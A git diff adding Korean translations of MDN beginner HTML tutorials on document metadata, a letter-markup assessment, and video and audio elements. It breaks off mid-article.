평가

+ +

다음의 평가들은 위의 가이드에 있는 HTML 기본을 얼마나 이해하고 있는지 테스트 합니다.

+ +
+
마크업
+
우리는 모두 편지 쓰는 법을 금방 배우게 됩니다. 텍스트를 꾸미고 조작하는 것을 테스트 해볼 수 있는 유용한 예제들이 있습니다. 여러분이 마크업 하는 것을 평가합니다.
+
페이지 콘텐츠 구조화
+
이 평가는 헤더, 푸터, 네비게이션 메뉴, 주요 콘텐츠, 사이드바를 담고 있는 간단한 웹 페이지의 구조를 HTML로 작성하는 능력을 테스트합니다.
+
+ +

같이 보기

+ +
+
웹 지식 기본 1
+
HTML 소개 과정에서 논의된 많은 기법들을 살펴보고 테스트 해볼 수 있는 모질라 재단 과정이 있습니다. 학습자들은 이 여섯 가지의 과정에서 글을 읽고, 글을 작성하고, 참석하는데 친숙해 질 것입니다. 만들어 보고 협업하면서 탄탄한 웹의 토대를 찾아보세요.
+
diff --git a/files/ko/learn/html/introduction_to_html/marking_up_a_letter/index.html b/files/ko/learn/html/introduction_to_html/marking_up_a_letter/index.html new file mode 100644 index 0000000000..5d451b0d4e --- /dev/null +++ b/files/ko/learn/html/introduction_to_html/marking_up_a_letter/index.html @@ -0,0 +1,102 @@ +--- +title: Marking up a letter +slug: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter +translation_of: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}
+ +
+ +
우리 모두 글자를 쓸 줄 압니다. 이제 글을 포멧팅하는 방법을 익혀 보도록 합니다. 이 장에서는 주어진 글을 HTML 기본/혹은 고급 텍스트 포멧팅 방식에 맞춰 다듬는 연습을 할 예정입니다. 예를 들어, 하이퍼링크라든지 <head> 컨텐츠 등을 말이지요.
+ +
+ + + + + + + + + + + + +
선수 학습: +

이 장에 들어서기에 앞서 필요한 선수 학습들에는 Getting started with HTML, What's in the head? Metadata in HTML, HTML text fundamentals, Creating hyperlinksAdvanced text formatting 등이 있습니다.

+
이 장에서 배워요: +

HTML 기본/고급 텍스트 포멧팅 방법, 하이퍼링크, HTML <head> 부분에 무엇이 들어가는지에 대해 알아 보아요.

+
+ +

시작하기에 앞서

+ +

프로젝트를 시작하기 위해서는 두 가지가 필요합니다. raw text you need to mark up와 CSS you need to include입니다. 텍스트 편집기를 이용해 .html 파일을 만들거나 사이트 - JSBin 이나 Thimble 를 이용하여 프로젝트를 할 수도 있습니다.

+ +

프로젝트 요약

+ +

이 프로젝트에서 여러분은 대학 인트라넷에 호스팅 될 문서를 마크업 하게 될 겁니다. 이 문서는 미래 해당 대학에서 박사학위를 공부하려는 이들이 보내 온 질문에 대한 연구원들의 답변입니다. 

+ +

블록/ 구조적인 시맨틱들

+ + + +

Inline semantics:

+ + + +

The head of the document:

+ + + +

Hints and tips

+ + + +

Example

+ +

The following screenshot shows an example of what the letter might look like after being marked up.

+ +

Example

+ +

프로젝트

+ +

If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the discussion thread about this exercise, or in the #mdn IRC channel on Mozilla IRC. Try the exercise first — there is nothing to be gained by cheating!

+ +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}

+ +

In this module

+ + diff --git a/files/ko/learn/html/introduction_to_html/the_head_metadata_in_html/index.html b/files/ko/learn/html/introduction_to_html/the_head_metadata_in_html/index.html new file mode 100644 index 0000000000..da87edf6ee --- /dev/null +++ b/files/ko/learn/html/introduction_to_html/the_head_metadata_in_html/index.html @@ -0,0 +1,277 @@ +--- +title: head 태그에는 무엇이 있을까? HTML의 메타데이터 +slug: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML +translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}
+ +

HTML의 {{glossary("Head", "head")}}는 페이지를 열 때 웹 브라우저에 표시되지 않습니다. head는 {{htmlelement("title")}} 같은 페이지나, {{glossary("CSS")}}의 링크(HTML 컨텐츠를 CSS로 스타일링하기를 원한다면),  파비콘(favicon), 그리고 다른 메타데이터(작성자, 중요한 키워드와 같은 HTML에 대한 내용)를 포함합니다. 이 글에서는 위 내용들과 그 이상에 대해 다룰 것입니다. 이것은 head에 있어야하는 마크업이나 다른 코드들을 다루는데 좋은 기초가 될 것입니다.

+ + + + + + + + + + + + +
사전 지식:HTML의 기본 구조, Getting started with HTML문서의 내용을 사전에 읽으면 좋습니다.
목적:HTML의 head을 사용하는 목적과 HTML 문서에 어떤 영향을 끼칠 수 있는지에 대해 학습합니다.
+ +

HTML head란?

+ +

 HTML document we covered in the previous article을 다시 봅시다.

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>My test page</title>
+  </head>
+  <body>
+    <p>This is my page</p>
+  </body>
+</html>
+ +

HTML {{htmlelement("head")}} 요소의 내용입니다. — 페이지를 열 때 브라우저에 표시되는 {{htmlelement("body")}}요소와 다르게, head의 내용는 페이지에 표시되지 않습니다. 대신에 head의 내용이 하는 일은 페이지에 대한 {{glossary("Metadata", "metadata")}}를 포함하는 것입니다. 위 예시의  head는 매우 간결합니다:

+ +
<head>
+  <meta charset="utf-8">
+  <title>My test page</title>
+</head>
+ +

더 큰 웹 페이지의 경우엔 head가 꽤 많은 항목을 가질 수 있습니다. 가장 좋아하는 홈페이지로 가서 developer tools을 이용해 head를 살펴보십시오. 이 글의 목적은 head에 들어갈 수 있는 것들 전부를 어떻게 사용하는지 보여주기 위한 것이 아니라, 주로 head에 넣고 싶어할만한 것들을 익숙하게 하고 사용하는 방법을 가르쳐주는 것입니다.

+ +

제목 달기

+ +

우리는 action에서  {{htmlelement("title")}} 요소를 이미 봤습니다. 이것은 문서의 title을 추가하기 위해 사용될 수 있습니다. head는 body에서 최상위 부분에 들어가는{{htmlelement("h1")}} 요소와 헷갈릴 수 있습니다. <h1> 요소는 가끔 title을 가리키기도 하지만 이것은 엄연히 다릅니다!

+ + + +

능동적 학습: 간단한 예제 살펴보기

+ +
    +
  1. 능동적인 학습을 시작하기 위해서, GitHub repo에가서 title-example.html 페이지의 복사본을 다운로드 하십시오. 다음 중 하나를 하면 됩니다: + +
      +
    1. 복사 붙여넣기를 새로운 텍스트 편집기에서 실행하고 당신이 알 만한 경로에 저장하십시오.
    2. +
    3. 페이지에서 "Raw"버튼을 누르면, 새창에 Raw code가 나타납니다. 그런 다음 브라우저 메뉴에서 File > Save Page As...  로 원하는 곳에 저장하십시오
    4. +
    +
  2. +
  3. 이제 당신의 브라우저에서 받은 파일을 여십시오.아래와 같이 보일 것입니다: +

    A simple web page with the title set to <title> element, and the <h1> set to <h1> element.<h1>컨텐츠가 보이는 곳이 어디인지 이제 명백할 것입니다. 그리고 <title> 컨텐츠도 어디에 있는지 알 수 있습니다!

    +
  4. +
  5. 텍스트 편집기에서도 이것을 열 수 있습니다. 이 요소들을 변경해보고, 페이지 새로고침하면서 즐겨보십시오.
  6. +
+ +

<title> 요소는 다른 방식으로 사용될 수도 있는데, 예를 들면 브라우저에서 사이트를 북마크할 때, <title>의 내용물을 추천하는 북마크 이름으로 사용하기도 합니다.

+ +

A webpage being bookmarked in firefox; the bookmark name has been automatically filled in with the contents of the <title> element

+ +

<title>은 아래에서 보는것 처럼 검색결과로 사용되기도 합니다.

+ +

메타데이터: <meta> 요소

+ +

메타데이터는 데이터를 설명하는 데이터이다 그리고 HTML에서 문서에 공식적으로 메타데이터를 적용하는 방법이 있습니다. — the {{htmlelement("meta")}} 요소. 물론 이 기사에서 다루고 있는 다른 것들도 메타 데이터라고 보면 됩니다. 페이지의 <head> 안에 다양한 형태의 <meta> 가 있습니다. 하지만 이 단계에서 모두 다루지는 않을 것입니다. 대신에 흔히 볼 수 있고 자주 쓰이는 것들에 대해 다뤄 보도록 하겠습니다.

+ +

문서의 character 인코딩을 특정하기

+ +

위에서의 예제에서 , 아래의 줄이 포함됩니다:

+ +
<meta charset="utf-8">
+ +

이 요소는 문서의 character—문서에서 허용하는 문자 집합(character set)— encoding에 대해서 간단히 표시합니다 . utf-8 은 전세계적인 character 집합으로 많은 언어들을 문자들을 포함합니다. 이는 웹 페이지에서 어떤 문자라도 취급할 수 있다는 것을 의미합니다. 따라서 당신이 작성할 모든 페이지에서 character 집합을 utf-8로 지정하는것은 좋은 생각입니다! 예를 들어서 당신의 웹페이지는 영어나 일본어 모두 허용합니다:

+ +

a web page containing English and Japanese characters, with the character encoding set to universal, or utf-8. Both languages display fine,예시로, 만약 (라틴 알파벳 사용을 위해서) ISO-8859-1로 characterset을 설정한다면, 페이지가 엉망으로 렌더링 될 것입니다:

+ +

a web page containing English and Japanese characters, with the character encoding set to latin. The Japanese characters don't display correctly

+ +
+

Note: 크롬과 같은 어떤 브라우저는 자동으로 잘못된 인코딩을 고치기 때문에, 어떤 브라우저를 사용하는가에 따라 이 문제를 겪지 않을 수도 있습니다. 그래도 다른 브라우저에서 있을 잠재적인 문제를 피하기 위하여 인코딩을 utf-8 으로 설정해야 합니다.

+
+ +

능동적 학습: character 인코딩 실험

+ +

이것을 사용해 보기 위해 이전 섹션에서 익혔던 <title> (title-example.html page)에서 얻은 간단한 HTMl 템플릿을 다시 켜고 멘타 문자 세트값을 ISO-8859-1로 변경한 다음, 페이지에 일본어를 추가합니다.

+ +
<p>Japanese example: ご飯が熱い。</p>
+ +

저자와 설명을 추가

+ +

많은 <meta> 요소가 name 과 content 속성을 가집니다:

+ + + +

이러한 두가지 메타데이터는 당신의 페이지에서 관리자를 정리하고 머릿말을 요약하는데 유용합니다. 아래의 예시를 보면:

+ +
<meta name="author" content="Chris Mills">
+<meta name="description" content="The MDN Learning Area aims to provide
+complete beginners to the Web with all they need to know to get
+started with developing web sites and applications.">
+ +

저자를 지정하는 것은 콘텐츠 작성자에 대한 정보를 볼 수 있게 해준다. 일부 컨텐츠 관리 시스템에는 페이지 작성자 정보를 자동으로 추출해서 사용할 수 있는 기능이 있다.

+ +

페이지 콘텐츠 관련 키워드를 포함시키는 것은 검색엔진에서 이 페이지가 더 많이 표시 될 가능성이 생기게 할 수 있다. (이러한 활동을 Search Engine Optimization, 또는 {{glossary("SEO")}} 라고 함.)

+ +

Active learning: The description's use in search engines

+ +

이 설명은 검색엔진 결과 페이지에서도 사용된다. 한번 알아보자.

+ +
    +
  1. 다음 링크로 간다. front page of The Mozilla Developer Network.
  2. +
  3. 페이지의 소스를 본다. (Right/Ctrl + click on the page, choose View Page Source from the context menu.)
  4. +
  5. 메타 태그를 찾아본다. 아마 아래와 같은 형태로 생겼을 것이다. +
    <meta name="description" content="The Mozilla Developer Network (MDN) provides
    +information about Open Web technologies including HTML, CSS, and APIs for both
    +Web sites and HTML5 Apps. It also documents Mozilla products, like Firefox OS.">
    +
  6. +
  7. 지금 당신이 애용하는 검색엔진으로 "Mozilla Developer Network"를 찾아보라(우리는 YAHOO를 사용한다). 검색 결과를 보면, <meta> 및 <title> 요소의 컨텐츠 설명이 어떤 역할을 했는지 알 수 있을 것이다. +

    A Yahoo search result for "Mozilla Developer Network"

    +
  8. +
+ +
+

Note: Google에서는 메인 MDN 홈페이지 링크 아래에 MDN의 몇 가지 관련 서브 페이지가 표시된다. 이를 사이트 링크라고하며 Google의 웹 마스터 도구에서 구성 할 수 있다. 그리고 이는 Google 검색 엔진에서 사이트의 검색 결과를 개선하는 방법이다.

+
+ +
+

Note: 많은 <meta> 기능들이 더이상 사용되지 않는다. (예를들어 <meta name="keywords" content="fill, in, your, keywords, here"> 같은, 다른 검색 용어에 대해 해당 페이지의 관련성을 부여하기 위해 검색 엔진에 제공하던 키워드 등..)  스팸 발송자들이 키워드 목록에 수백 개의 키워드를 채워버리는 악용 사례가 생겨 버렸기 때문에 이것들은 검색 엔진들이 아예 무시를 해버리게 되었다.

+
+ +

Other types of metadata

+ +

웹페이지를 돌아다니다 보면 다른 종류의 메타데이터들을 꽤 많이 볼 수 있다. 웹 사이트에서 볼 수있는 기능들은 특정 사이트 (예 : 소셜 네트워킹 사이트)에 사용할 수있는 특정 정보를 제공하도록 설계된 독점 제작물이다.

+ +

Open Graph Data 는 Facebook이 웹 사이트에 더 풍부한 메타 데이터를 제공하기 위해 발명한 메타 데이터 프로토콜이다. MDN 소스코드에서 다음과 같은 부분을 볼 수 있을 것이다.

+ +
<meta property="og:image" content="https://developer.cdn.mozilla.net/static/img/opengraph-logo.dc4e08e2f6af.png">
+<meta property="og:description" content="The Mozilla Developer Network (MDN) provides
+information about Open Web technologies including HTML, CSS, and APIs for both Web sites
+and HTML5 Apps. It also documents Mozilla products, like Firefox OS.">
+<meta property="og:title" content="Mozilla Developer Network">
+ +

Facebook에서 MDN에 링크를 하면, 이미지와 설명이 함께 나타난다. 사용자에게는 더 좋은 정보를 보여줄 수 있는 것이다.

+ +

Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description.Twitter 에서도 유사한 형태의 독점적인 자체 메타데이터를 가지고 있는데, 특정 웹사이트의 url이 twitter.com에 표시 될 때와 유사한 효과가 있다.

+ +
<meta name="twitter:title" content="Mozilla Developer Network">
+ +

맞춤 아이콘 추가하기

+ +

당신의 사이트 디자인을 좀 더 풍성하게 만들기 위해서 , 당신은 커스텀 아이콘 레퍼런스를 매타데이터에 추가하고 특정 콘텐츠에서 이것을 보여지게 할 수 있다.

+ +

The humble favicon, which has been around for many years, was the first icon of this type, a 16 x 16 pixel icon used in multiple places. 각 열린 페이지의 탭이나 북마크 패널 페이지 쪽에서 favicon을 볼 수 있다.

+ +

favicon은 다음과 같이 너의 사이트에 추가할 수 있다:

+ +
    +
  1. 당신의 사이트의 인덱스 페이지와 같은 디렉토리에  .ico 포멧의 파일을 저장하라 (most browsers will support favicons in more common formats like .gif or .png, but using the ICO format will ensure it works as far back as Internet Explorer 6.)
  2. +
  3. 다음 줄을 HTML <head>에 추가하여 favicon을 참조하라: +
    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
    +
  4. +
+ +

북마크 페널의 페비콘이 그 예시이다:

+ +

The Firefox bookmarks panel, showing a bookmarked example with a favicon displayed next to it.

+ +

요즘은 많은 다른 아이콘 타입이 있다. 예를 들어서 MDN 홈페이지에서 다음과 같은 것을 발견할 것이다:

+ +
<!-- third-generation iPad with high-resolution Retina display: -->
+<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.cdn.mozilla.net/static/img/favicon144.a6e4162070f4.png">
+<!-- iPhone with high-resolution Retina display: -->
+<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.cdn.mozilla.net/static/img/favicon114.0e9fabd44f85.png">
+<!-- first- and second-generation iPad: -->
+<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.cdn.mozilla.net/static/img/favicon72.8ff9d87c82a0.png">
+<!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: -->
+<link rel="apple-touch-icon-precomposed" href="https://developer.cdn.mozilla.net/static/img/favicon57.a2490b9a2d76.png">
+<!-- basic favicon -->
+<link rel="shortcut icon" href="https://developer.cdn.mozilla.net/static/img/favicon32.e02854fdcf73.png">
+ +

주석은 각 아이콘의 용도를 설명한다. 웹사이트가 iPad의 홈 화면에 저장 될 때 사용할 고해상도 아이콘을 제공하는 것 등을 포함한다.

+ +

지금 당장 모든 아이콘을 구현할 줄 알아야 한다는 성급한 부담을 가질 필요는 없다. 이것은 고급 기능에 속하기도 하며, 이번 과정을 통해 여러 '지식'을 습득해야 가능하다. 이 페이지의 주된 목적은 다른 웹사이트의 소스 코드를 보며 그 '지식'을 습득할 수 있도록 하려는데에 있다.

+ +

HTML에 CSS 와 JavaScript 적용하기

+ +

현대의 모든 웹사이트는 상호작용 기능이 많은 영상 플레이어, 지도, 게임 등을 위해  {{glossary("JavaScript")}}가 필요하고, 이것들을 더 멋져 보이게 하기 위해 {{glossary("CSS")}}가 사용된다. 이것들은 {{htmlelement ( "link")}} 요소와 {{htmlelement ( "script")}} 요소를 사용하여 웹 페이지에 가장 일반적으로 적용된다.

+ + + +

Active learning: applying CSS and JavaScript to a page

+ +
    +
  1. 이 실습을 시작하려면, 같은 로컬 디렉토리 안에 meta-example.html, script.js 그리고 style.css 파일을 미리 만들어 놓아야 한다. 올바른 이름과 파일 확장자로 저장되어 있는지 확인하는 것도 필수!
  2. +
  3. 애용하는 브라우져에서 HTML 파일을 열고, 텍스트 에디터도 실행한다.
  4. +
  5. 위에서 나온 설명대로 CSS와 JavaScript가 HTMl에 적용되도록 HTML에 {{htmlelement("link")}} 및 {{htmlelement("script")}} 를 추가한다.
  6. +
+ +

HTML을 저장하고 브라우저를 새로 고치면 올바르게 변경된 것이다:

+ +

Example showing a page with CSS and JavaScript applied to it. The CSS has made the page go green, whereas the JavaScript has added a dynamic list to the page.

+ + + +
+

Note: CSS나 JS를 적용하는데서 부터 애를 먹고 있으면 css-and-js.html 페이지를 참고하기를 추천한다.

+
+ +

문서의 기본 언어 설정

+ +

마지막으로, 페이지의 언어를 설정 할 수도 있다. 이 작업은 lang attribute 을 여는 HTML 태그에 추가하여 수행 할 수 있다. (meta-example.html 과 아래 참조)

+ +
<html lang="en-US">
+ +

이것은 여러 방면에서 유용하다. HTML 문서는 언어가 설정되어 있으면 검색 엔진에 의해 보다 효과적으로 색인화되며(예를 들어 언어 별 결과에 올바르게 표시되도록..) 화면 판독기를 사용하여 시각장애가 있는 사용자에게 유용하다.(예: 6이라는 숫자는 프랑스어와 영어에서 모두 존재하지만, 각기 다른 발음이 적용된다.)

+ +

또한, 문서의 하위 섹션을 다른 언어로 인식하도록 설정할 수도 있다. 예를들어 다음과 같이 일본어 일본어로 된 섹션에 대해서는 일본어로 인식하도록 할 수 있다:

+ +
<p>Japanese example: <span lang="jp">ご飯が熱い。</span>.</p>
+ +

이 코드는 ISO 639-1 표준에 따른다. Language tags in HTML and XML 에서 자세한 내용을 확인할 수 있다.

+ +

요약

+ +

HTML head에 대한 퀵 파이어 투어가 마무리 되었다. 여기에서 보고 할 수 있는 것보다 훨씬 많은 부분이 있지만, 지금 단계에서는 복잡하거나 어렵게 느껴질 수도 있을 것이고 단지 당신에게 지극히 일반적이고 기초적인 사용법만을 제시했을 뿐이다.  

+ +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}

+ +

In this module

+ + diff --git a/files/ko/learn/html/multimedia_and_embedding/ideo_and_audio_content/index.html b/files/ko/learn/html/multimedia_and_embedding/ideo_and_audio_content/index.html new file mode 100644 index 0000000000..d6930ac381 --- /dev/null +++ b/files/ko/learn/html/multimedia_and_embedding/ideo_and_audio_content/index.html @@ -0,0 +1,327 @@ +--- +title: 비디오 그리고 오디오 컨텐츠 +slug: Learn/HTML/Multimedia_and_embedding/ideo_and_audio_content +translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}
+ +

이제 우리는 웹페이지에 간단한 이미지를 추가하는 것에 익숙해졌으므로, 다음 단계는 HTML 문서에 비디오와 오디오 플레이어를 추가하는 것이다! 이 기사에서는 {{htmlelement("video")}}와 {{htmlelement("audio")}}  요소들로 그렇게 하는 것에 대해 살펴보고, 동영상에 캡션/자막을 추가하는 방법을 살펴봄으로써 마무리하겠다.

+ + + + + + + + + + + + +
사전 지식:기본 컴퓨터 사용능력, 기본 소프트웨어 설치, 파일 작업에 대한 기본 지식, HTML 기본 원리(HTML 시작에서 다룬 내용) 및 HTML의 이미지
목표:비디오 및 오디오 컨텐츠를 웹 페이지에 포함시키고 비디오에 캡션/자막을 추가하는 방법을 배웁니다.
+ +

웹 상에서 비디오 그리고 오디오

+ +

Web developers have wanted to use video and audio on the Web for a long time, ever since the early 2000s when we started to have bandwidth fast enough to support any kind of video (video files are much larger than text or even images.) In the early days, native web technologies such as HTML didn't have the ability to embed video and audio on the Web, so proprietary (or plugin-based) technologies like Flash (and later, Silverlight) became popular for handling such content. This kind of technology worked ok, but it had a number of problems, including not working well with HTML/CSS features, security issues, and accessibility issues.

+ +

A native solution would solve much of this if implemented correctly. Fortunately, a few years later the {{glossary("HTML5")}} specification had such features added, with the {{htmlelement("video")}} and {{htmlelement("audio")}} elements, and some shiny new {{Glossary("JavaScript")}} {{Glossary("API","APIs")}} for controlling them. We'll not be looking at JavaScript here — just the basic foundations that can be achieved with HTML.

+ +

We won't be teaching you how to produce audio and video files — that requires a completely different skillset. We have provided you with sample audio and video files and example code for your own experimentation, in case you are unable to get hold of your own.

+ +
+

Note: Before you begin here, you should also know that there are quite a few OVPs (online video providers) like YouTube, Dailymotion, and Vimeo, and online audio providers like Soundcloud. Such companies offer a convenient, easy way to host and consume videos, so you don't have to worry about the enormous bandwidth consumption. OVPs even usually offer ready-made code for embedding video/audio in your webpages; if you use that route, you can avoid some of the difficulties we discuss in this article. We'll be discussing this kind of service a bit more in the next article.

+
+ +

The <video> element

+ +

The {{htmlelement("video")}} element allows you to embed a video very easily. A really simple example looks like this:

+ +
<video src="rabbit320.webm" controls>
+  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.webm">link to the video</a> instead.</p>
+</video>
+ +

The features of note are:

+ +
+
{{htmlattrxref("src","video")}}
+
In the same way as for the {{htmlelement("img")}} element, the src (source) attribute contains a path to the video you want to embed. It works in exactly the same way.
+
{{htmlattrxref("controls","video")}}
+
Users must be able to control video and audio playback (it's especially critical for people who have epilepsy.) You must either use the controls attribute to include the browser's own control interface, or build your interface using the appropriate JavaScript API. At a minimum, the interface must include a way to start and stop the media, and to adjust the volume.
+
The paragraph inside the <video> tags
+
This is called fallback content — this will be displayed if the browser accessing the page doesn't support the <video> element, allowing us to provide a fallback for older browsers. This can be anything you like; in this case, we've provided a direct link to the video file, so the user can at least access it some way regardless of what browser they are using.
+
+ +

The embedded video will look something like this:

+ +

A simple video player showing a video of a small white rabbit

+ +

You can try the example live here (see also the source code.)

+ +

Using multiple source formats to improve compatibility

+ +

There's a problem with the above example, which you may have noticed already if you've tried to access the live link above with an older browser like Internet Explorer or even an older version of Safari. The video won't play, because different browsers support different video (and audio) formats. Fortunately, there are things you can do to help prevent this from being a problem.

+ +

Contents of a media file

+ +

First, let's go through the terminology quickly. Formats like MP3, MP4 and WebM are called container formats. They define a structure in which the audio and/or video tracks that make up the media are stored, along with metadata describing the media, what codecs are used to encode its channels, and so forth.

+ +

A WebM file containing a movie which has a main video track and one alternate angle track, plus audio for both English and Spanish, in addition to audio for an English commentary track can be conceptualized as shown in the diagram below. Also included are text tracks containing closed captions for the feature film, Spanish subtitles for the film, and English captions for the commentary.

+ +

Diagram conceptualizing the contents of a media file at the track level.

+ +

The audio and video tracks within the container hold data in the appropriate format for the codec used to encode that media. Different formats are used for audio tracks versus video tracks. Each audio track is encoded using an audio codec, while video tracks are encoded using (as you probably have guessed) a video codec. As we talked about before, different browsers support different video and audio formats, and different container formats (like MP3, MP4, and WebM, which in turn can contain different types of video and audio).

+ +

For example:

+ + + +

There are some special cases. For example, for some types of audio, a codec's data is often stored without a container, or with a simplified container. One such instance is the FLAC codec, which is stored most commonly in FLAC files, which are just raw FLAC tracks.

+ +

Another such situation is the always-popular MP3 file. An "MP3 file" is actually an MPEG-1 Audio Layer III (MP3) audio track stored within an MPEG or MPEG-2 container. This is especially interesting since while most browsers don't support using MPEG media in the {{HTMLElement("video")}} and {{HTMLElement("audio")}} elements, they may still support MP3 due to its popularity.

+ +

An audio player will tend to play an audio track directly, e.g. an MP3 or Ogg file. These don't need containers.

+ +

Media file support in browsers

+ +
+

Why do we have this problem? It turns out that several popular formats, such as MP3 and MP4/H.264, are excellent but are encumbered by patents; that is, there are patents covering some or all of the technology that they're based upon. In the United States, patents covered MP3 until 2017, and H.264 is encumbered by patents through at least 2027.

+ +

Because of those patents, browsers that wish to implement support for those codecs must pay typically enormous license fees. In addition, some people simply prefer to avoid restricted software and prefer to use only open formats. Due to these legal and preferential reasons, web developers find themselves having to support multiple formats to capture their entire audience.

+
+ +

The codecs described in the previous section exist to compress video and audio into manageable files, since raw audio and video are both exceedingly large. Each web browser supports an assortment of {{Glossary("Codec","codecs")}}, like Vorbis or H.264, which are used to convert the compressed audio and video into binary data and back. Each codec offers its own advantages and drawbacks, and each container may also offer its own positive and negative features affecting your decisions about which to use.

+ +

Things become slightly more complicated because not only does each browser support a different set of container file formats, they also each support a different selection of codecs. In order to maximize the likelihood that your web site or app will work on a user's browser, you may need to provide each media file you use in multiple formats. If your site and the user's browser don't share a media format in common, your media simply won't play.

+ +

Due to the intricacies of ensuring your app's media is viewable across every combination of browsers, platforms, and devices you wish to reach, choosing the best combination of codecs and container can be a complicated task. See {{SectionOnPage("/en-US/docs/Web/Media/Formats/Containers", "Choosing the right container")}} for help selecting the container file format best suited for your needs; similarly, see {{SectionOnPage("/en-US/docs/Web/Media/Formats/Video_codecs", "Choosing a video codec")}} and {{SectionOnPage("/en-US/docs/Web/Media/Formats/Audio_codecs", "Choosing an audio codec")}} for help selecting the first media codecs to use for your content and your target audience.

+ +

One additional thing to keep in mind: mobile browsers may support additional formats not supported by their desktop equivalents, just like they may not support all the same formats the desktop version does. On top of that, both desktop and mobile browsers may be designed to offload handling of media playback (either for all media or only for specific types it can't handle internally). This means media support is partly dependent on what software the user has installed.

+ +

So how do we do this? Take a look at the following updated example (try it live here, also):

+ +
<video controls>
+  <source src="rabbit320.mp4" type="video/mp4">
+  <source src="rabbit320.webm" type="video/webm">
+  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
+</video>
+ +

Here we've taken the src attribute out of the actual {{HTMLElement("video")}} tag, and instead included separate {{htmlelement("source")}} elements that point to their own sources. In this case the browser will go through the {{HTMLElement("source")}} elements and play the first one that it has the codec to support. Including WebM and MP4 sources should be enough to play your video on most platforms and browsers these days.

+ +

Each <source> element also has a {{htmlattrxref("type", "source")}} attribute. This is optional, but it is advised that you include it. The type attribute contains the {{glossary("MIME type")}} of the file specified by the <source>, and browsers can use the type to immediately skip videos they don't understand. Iftype isn't included, browsers will load and try to play each file until they find one that works, which obviously takes time and is an unnecessary use of resources.

+ +

Refer to our guide to media types and formats for help selecting the best containers and codecs for your needs, as well as to look up the right MIME types to specify for each.

+ +

Other <video> features

+ +

There are a number of other features you can include when displaying an HTML video. Take a look at our next example:

+ +
<video controls width="400" height="400"
+       autoplay loop muted
+       poster="poster.png">
+  <source src="rabbit320.mp4" type="video/mp4">
+  <source src="rabbit320.webm" type="video/webm">
+  <p>Your browser doesn't support HTML video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
+</video>
+
+ +

The resulting UI looks something like this:

+ +

A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!

+ +

The new features are:

+ +
+
{{htmlattrxref("width","video")}} and {{htmlattrxref("height","video")}}
+
You can control the video size either with these attributes or with {{Glossary("CSS")}}. In both cases, videos maintain their native width-height ratio — known as the aspect ratio. If the aspect ratio is not maintained by the sizes you set, the video will grow to fill the space horizontally, and the unfilled space will just be given a solid background color by default.
+
{{htmlattrxref("autoplay","video")}}
+
Makes the audio or video start playing right away, while the rest of the page is loading. You are advised not to use autoplaying video (or audio) on your sites, because users can find it really annoying.
+
{{htmlattrxref("loop","video")}}
+
Makes the video (or audio) start playing again whenever it finishes. This can also be annoying, so only use if really necessary.
+
{{htmlattrxref("muted","video")}}
+
Causes the media to play with the sound turned off by default.
+
{{htmlattrxref("poster","video")}}
+
The URL of an image which will be displayed before the video is played. It is intended to be used for a splash screen or advertising screen.
+
{{htmlattrxref("preload","video")}}
+
+

Used for buffering large files; it can take one of three values:

+ +
    +
  • "none" does not buffer the file
  • +
  • "auto" buffers the media file
  • +
  • "metadata" buffers only the metadata for the file
  • +
+
+
+ +

You can find the above example available to play live on Github (also see the source code.) Note that we haven't included the autoplay attribute in the live version — if the video starts to play as soon as the page loads, you don't get to see the poster!

+ +

The <audio> element

+ +

The {{htmlelement("audio")}} element works just like the {{htmlelement("video")}} element, with a few small differences as outlined below. A typical example might look like so:

+ +
<audio controls>
+  <source src="viper.mp3" type="audio/mp3">
+  <source src="viper.ogg" type="audio/ogg">
+  <p>Your browser doesn't support HTML5 audio. Here is a <a href="viper.mp3">link to the audio</a> instead.</p>
+</audio>
+ +

This produces something like the following in a browser:

+ +

A simple audio player with a play button, timer, volume control, and progress bar

+ +
+

Note: You can run the audio demo live on Github (also see the audio player source code.)

+
+ +

This takes up less space than a video player, as there is no visual component — you just need to display controls to play the audio. Other differences from HTML video are as follows:

+ + + +

Other than this, <audio> supports all the same features as <video> — review the above sections for more information about them.

+ +

Restarting media playback

+ +

At any time, you can reset the media to the beginning—including the process of selecting the best media source, if more than one is specified using {{HTMLElement("source")}} elements—by calling the element's {{domxref("HTMLMediaElement.load", "load()")}} method:

+ +
const mediaElem = document.getElementById("my-media-element");
+mediaElem.load();
+ +

Detecting track addition and removal

+ +

